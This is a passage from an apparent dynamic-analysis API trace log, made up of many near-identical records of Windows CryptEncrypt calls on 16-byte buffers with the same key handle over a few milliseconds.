Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.977] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.978] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.979] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.980] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.981] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, 